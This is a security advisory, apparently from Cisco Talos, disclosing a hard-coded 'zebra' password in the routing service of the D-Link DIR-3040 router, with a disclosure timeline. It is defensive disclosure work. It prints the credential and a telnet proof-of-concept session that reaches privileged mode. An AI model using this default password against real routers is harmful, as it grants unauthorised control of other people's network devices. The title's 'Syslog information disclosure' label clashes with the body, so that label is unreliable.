Talos Vulnerability Report

TALOS-2021-1283

D-LINK DIR-3040 Syslog information disclosure vulnerability

JULY 15, 2021

CVE NUMBER

CVE-2021-21818

Summary

A hard-coded password vulnerability exists in the Zebra IP Routing Manager functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to a denial of service. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

D-LINK DIR-3040 1.13B03

Product URLs

https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-259 - Use of Hard-coded Password

Details

The DIR-3040 is an AC3000-based wireless internet router.

Zebra is an IP routing manager that provides kernel routing table updates, interface lookups, and redistribution of routes between different routing protocols.

The DIR-3040 runs this service by default on TCP port 2601 and can be accessed by anyone on the network. This service also uses a configuration file containing a hard-coded password `zebra`:

```
admin@dlinkrouter:~# cat /tmp/zebra.conf
hostname Router
password zebra
enable password zebra
```

Exploit Proof of Concept

```
$ telnet 192.168.100.1 2601
Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.

  Hello, this is Quagga (version 1.1.1).
  Copyright 1996-2005 Kunihiro Ishiguro, et al.


  User Access Verification

  Password:
  Router>
  echo      Echo a message back to the vty
  enable    Turn on privileged mode command
  exit      Exit current mode and down to previous mode
  help      Description of the interactive help system
  list      Print command list
  quit      Exit current mode and down to previous mode
  show      Show running system information
  terminal  Set terminal line parameters
  who       Display who is on vty
  Router> enable
  Password:
  Router#
  clear      Clear stored data
  configure  Configuration from vty interface
  copy       Copy configuration
  debug      Debugging functions (see also 'undebug')
  disable    Turn off privileged mode command
  echo       Echo a message back to the vty
  enable     Turn on privileged mode command
  end        End current mode and change to enable mode.
  exit       Exit current mode and down to previous mode
  help       Description of the interactive help system
  list       Print command list
  logmsg     Send a message to enabled logging destinations
  no         Negate a command or set its defaults
  quit       Exit current mode and down to previous mode
  show       Show running system information
  terminal   Set terminal line parameters
  who        Display who is on vty
  write      Write running configuration to memory, network, or terminal
```

Timeline

2021-04-28 - Vendor disclosure

2021-05-12 - Vendor acknowledged

2021-06-08 - Vendor provided patch for Talos to test

2021-06-09 - Talos provided feedback on patch

2021-06-23 - Talos follow up with vendor

2021-07-13 - Vendor patched

2021-07-15 - Public Release

CREDIT

Discovered by Dave McDaniel of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1274

NEXT REPORT

TALOS-2021-1345